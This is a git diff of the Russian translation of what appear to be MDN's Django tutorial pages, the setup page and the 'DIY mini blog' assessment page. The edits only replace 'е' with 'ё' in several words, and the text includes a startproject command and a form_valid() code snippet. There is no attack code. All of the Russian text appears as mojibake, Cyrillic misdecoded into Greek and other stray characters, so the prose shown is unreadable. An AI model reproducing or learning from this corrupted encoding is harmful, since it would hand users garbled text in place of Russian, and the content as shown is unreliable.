+<p>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ шаблон сайта "<em>mytestsite</em>" ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ инструмСнта <strong>django-admin</strong>. ПослС создания сайта Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΠΏΠ°ΠΏΠΊΡƒ,Β Π³Π΄Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ основной скрипт для управлСния ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <strong>manage.py</strong>.</p>
<pre class="notranslate">django-admin startproject mytestsite
cd mytestsite</pre>
@@ -392,7 +392,7 @@ Quit the server with CONTROL-C.
<li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Authentication">Руководство Django Π§Π°ΡΡ‚ΡŒΒ 8: Авторизация ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΡƒΡ€ΠΎΠ²Π½ΠΈ доступа</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Forms">Руководство Django Π§Π°ΡΡ‚ΡŒ 9: Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Testing">Руководство Django Π§Π°ΡΡ‚ΡŒ 10: ВСстированиС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Django</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Deployment">Руководство Django Π§Π°ΡΡ‚ΡŒ 11: Π Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅Β Django Π² производство</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Deployment">Руководство Django Π§Π°ΡΡ‚ΡŒ 11: Π Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅Β Django Π² производство</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/web_application_security">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-прилоТСния Django</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Мини-блог на Django</a></li>
</ul>
diff --git a/files/ru/learn/server-side/django/django_assessment_blog/index.html b/files/ru/learn/server-side/django/django_assessment_blog/index.html
index 22a248eae6..7fec548a29 100644
--- a/files/ru/learn/server-side/django/django_assessment_blog/index.html
+++ b/files/ru/learn/server-side/django/django_assessment_blog/index.html
@@ -140,7 +140,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
<td>Admin site</td>
<td><code>/admin/<em>&lt;standard urls&gt;</em></code></td>
<td>
- <p>Админ-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ созданиС / Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ / ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ сообщСний Π² Π±Π»ΠΎΠ³Π°Ρ…, Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π±Π»ΠΎΠ³Π° ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π² Π±Π»ΠΎΠ³Π° (это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для создания Π±Π»ΠΎΠ³Π΅Ρ€ΠΎΠ² Π² Π±Π»ΠΎΠ³Π°Ρ…):</p>
+ <p>Админ-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ созданиС / Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ / ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ сообщСний Π² Π±Π»ΠΎΠ³Π°Ρ…, Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π±Π»ΠΎΠ³Π° ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π² Π±Π»ΠΎΠ³Π° (это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для создания Π±Π»ΠΎΠ³Π΅Ρ€ΠΎΠ² Π² Π±Π»ΠΎΠ³Π°Ρ…):</p>
<ul>
<li>Π’ Π°Π΄ΠΌΠΈΠ½ ΠΏΠ°Π½Π΅Π»Π΅Β Π΄ΠΎΠ»ΠΆΠ΅Π½Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ список ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π² Π² строкС (Π²Π½ΠΈΠ·Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ сообщСния Π² Π±Π»ΠΎΠ³Π΅).</li>
@@ -156,7 +156,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
<ul>
<li>ВсС поля ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΈ Π΄Π»ΠΈΠ½Ρƒ.</li>
- <li>ВсС ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ΅ имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,<code> __str__()</code>Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</li>
+ <li>ВсС ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ΅ имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,<code> __str__()</code>Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</li>
<li>МодСли ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ URL для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… записСй Π² Π±Π»ΠΎΠ³Π°Ρ… ΠΈ коммСнтариях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,<code>get_absolute_url()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ URL-адрСс).</li>
<li>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° BlogListView (страница Π½Π° всСх Π±Π»ΠΎΠ³Π°Ρ…) доступна Π² ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΌ мСстС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β /blog/blogs)</li>
<li>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° BlogListView (страница Π½Π° всСх Π±Π»ΠΎΠ³Π°Ρ…) доступна Π½Π° ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΌ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠΌ URL-адрСсС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 'blogs')</li>
@@ -165,7 +165,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
</ul>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… тСстов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π½Π° своС усмотрСниС, Π½ΠΎ ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ сдСлаСтС хотя Π±Ρ‹ тСсты Π²Ρ‹ΡˆΠ΅.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… тСстов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π½Π° своё усмотрСниС, Π½ΠΎ ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ сдСлаСтС хотя Π±Ρ‹ тСсты Π²Ρ‹ΡˆΠ΅.</p>
</div>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹Β <a href="#Screenshots">ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹</a> сайта, который выполняСт пСрСчислСнныС Π²Ρ‹ΡˆΠ΅ трСбования.</p>
@@ -191,7 +191,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
<p>Β </p>
-<p>Π­Ρ‚ΠΎ ссылки Π½Π° всСх Π±Π»ΠΎΠ³Π΅Ρ€ΠΎΠ²Β Π²Β "All bloggers"Β ΠΏΠΎ ссылкС, которая на Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ. Π’ этом случаС ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ вошСл Π² систСму.</p>
+<p>Π­Ρ‚ΠΎ ссылки Π½Π° всСх Π±Π»ΠΎΠ³Π΅Ρ€ΠΎΠ²Β Π²Β "All bloggers"Β ΠΏΠΎ ссылкС, которая на Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ. Π’ этом случаС ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π²ΠΎΡˆΡ‘Π» Π² систСму.</p>
<p><img alt="List of all bloggers" src="https://mdn.mozillademos.org/files/14321/diyblog_blog_allbloggers.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 493px;"></p>
@@ -201,7 +201,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
<p><img alt="Blog detail with add comment link" src="https://mdn.mozillademos.org/files/14323/diyblog_blog_detail_add_comment.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 986px;"></p>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Π°Ρ‚ΡƒΒ <em>ΠΈ</em> врСмя, ΠΈ располоТСны Π² порядкС ΠΎΡ‚ самых старых Π΄ΠΎ Π½ΠΎΠ²Π΅ΠΉΡˆΠΈΡ… (противополоТно порядку вСдСния Π±Π»ΠΎΠ³Π°). Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ ссылка для доступа ΠΊ Ρ„ΠΎΡ€ΠΌΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ вошСл Π² систСму, ΠΌΡ‹ Π±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎΠΉΡ‚ΠΈ Π² систСму.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Π°Ρ‚ΡƒΒ <em>ΠΈ</em> врСмя, ΠΈ располоТСны Π² порядкС ΠΎΡ‚ самых старых Π΄ΠΎ Π½ΠΎΠ²Π΅ΠΉΡˆΠΈΡ… (противополоТно порядку вСдСния Π±Π»ΠΎΠ³Π°). Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ ссылка для доступа ΠΊ Ρ„ΠΎΡ€ΠΌΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π²ΠΎΡˆΡ‘Π» Π² систСму, ΠΌΡ‹ Π±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎΠΉΡ‚ΠΈ Π² систСму.</p>
<p><img alt="Comment link when not logged in" src="https://mdn.mozillademos.org/files/14325/diyblog_blog_detail_not_logged_in.png" style="border-style: solid; border-width: 1px; display: block; height: 129px; margin: 0px auto; width: 646px;"></p>
@@ -249,14 +249,14 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
<li>ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ списка ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΉΒ Π±Π»ΠΎΠ³Π° ΠΈ Π±Π»ΠΎΠ³Π΅Ρ€ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ прСдставлСниС для сообщСний Π² Π±Π»ΠΎΠ³Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ  <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">generic list and detail views</a>.</li>
<li>Бписок постов Π² Π±Π»ΠΎΠ³Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ Π°Π²Ρ‚ΠΎΡ€Π° ΠΌΠΎΠΆΠ΅Ρ‚Β Π±Ρ‹Ρ‚ΡŒ создан с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ общСго списка Blog list viewΒ ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±Π»ΠΎΠ³Π°, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π°Π²Ρ‚ΠΎΡ€Ρƒ.
<ul>
- <li>Π’Π°ΠΌ придСтся Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  <code>get_queryset(self)</code> для Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ (ΠΊΠ°ΠΊ ΠΈ Π² нашСм классС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ <code>LoanedBooksAllListView</code>) ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ ΠΈΠ· URL-адрСса.</li>
+ <li>Π’Π°ΠΌ придётся Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  <code>get_queryset(self)</code> для Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ (ΠΊΠ°ΠΊ ΠΈ Π² нашСм классС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ <code>LoanedBooksAllListView</code>) ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ ΠΈΠ· URL-адрСса.</li>
<li>Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ имя Π°Π²Ρ‚ΠΎΡ€Π° Π½Π° страницу Π² контСкстС.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π² прСдставлСнии Π½Π° основС классов, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  <code>get_context_data()</code> (обсуТдаСтся Π½ΠΈΠΆΠ΅).</li>
</ul>
</li>
<li>Π€ΠΎΡ€ΠΌΠ°Β <em>добавлСния ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π²</em>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ создана с использованиСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ прСдставлСния (ΠΈ связанной ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ Ρ„ΠΎΡ€ΠΌΡ‹) ΠΈΠ»ΠΈ с использованиСм ΠΎΠ±Ρ‰Π΅Π³ΠΎ <code>CreateView</code>. Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β <code>CreateView</code> (рСкомСндуСтся):
<ul>
<li>Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ имя Π±Π»ΠΎΠ³Π° Π½Π° страницу ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π² Π² контСкстС (Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  <code>get_context_data()</code> ΠΊΠ°ΠΊ обсуТдаСтся Π½ΠΈΠΆΠ΅).</li>
- <li>Π€ΠΎΡ€ΠΌΠ° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ «описаниС» для записи ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π΄Π°Ρ‚Π° ΠΈ связанная с Π½ΠΈΠΌΠΈ запись Π² Π±Π»ΠΎΠ³Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² Ρ„ΠΎΡ€ΠΌΠ΅, ваш ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Π²Ρ‚ΠΎΡ€Π° коммСнтария Π²Β <code> form_valid()</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, поэтому ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранСн Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ (<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> β€” Django docs). Π’ этой ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ устанавливаСм связанный Π±Π»ΠΎΠ³. ВозмоТная рСализация ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π½ΠΈΠΆΠ΅ (<code>pk</code> это ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π±Π»ΠΎΠ³Π°, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ ΠΈΠ· URL / URL ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ ).
+ <li>Π€ΠΎΡ€ΠΌΠ° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ «описаниС» для записи ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π΄Π°Ρ‚Π° ΠΈ связанная с Π½ΠΈΠΌΠΈ запись Π² Π±Π»ΠΎΠ³Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² Ρ„ΠΎΡ€ΠΌΠ΅, ваш ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Π²Ρ‚ΠΎΡ€Π° коммСнтария Π²Β <code> form_valid()</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, поэтому ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранён Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ (<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> β€” Django docs). Π’ этой ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ устанавливаСм связанный Π±Π»ΠΎΠ³. ВозмоТная рСализация ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π½ΠΈΠΆΠ΅ (<code>pk</code> это ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π±Π»ΠΎΠ³Π°, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ ΠΈΠ· URL / URL ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ ).
<pre class="brush: python"> def form_valid(self, form):
"""
Add author and associated blog to form data before setting it as valid (so it is saved to model)
@@ -274,7 +274,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog
</li>
</ol>
-<p>ΠœΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ контСкста ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ Π² прСдставлСнии Π½Π° основС классов Π²Β Ρ‚Π΅ΠΌΠ΅Β  <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a>. Для этого Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ <code>get_context_data()</code> (сначала ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ контСкст, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π»ΡŽΠ±Ρ‹ΠΌΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ контСкст). НапримСр, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ blogger Π² контСкст Π½Π° основС Π΅Π³ΠΎΒ <code>BlogAuthor</code> id.</p>
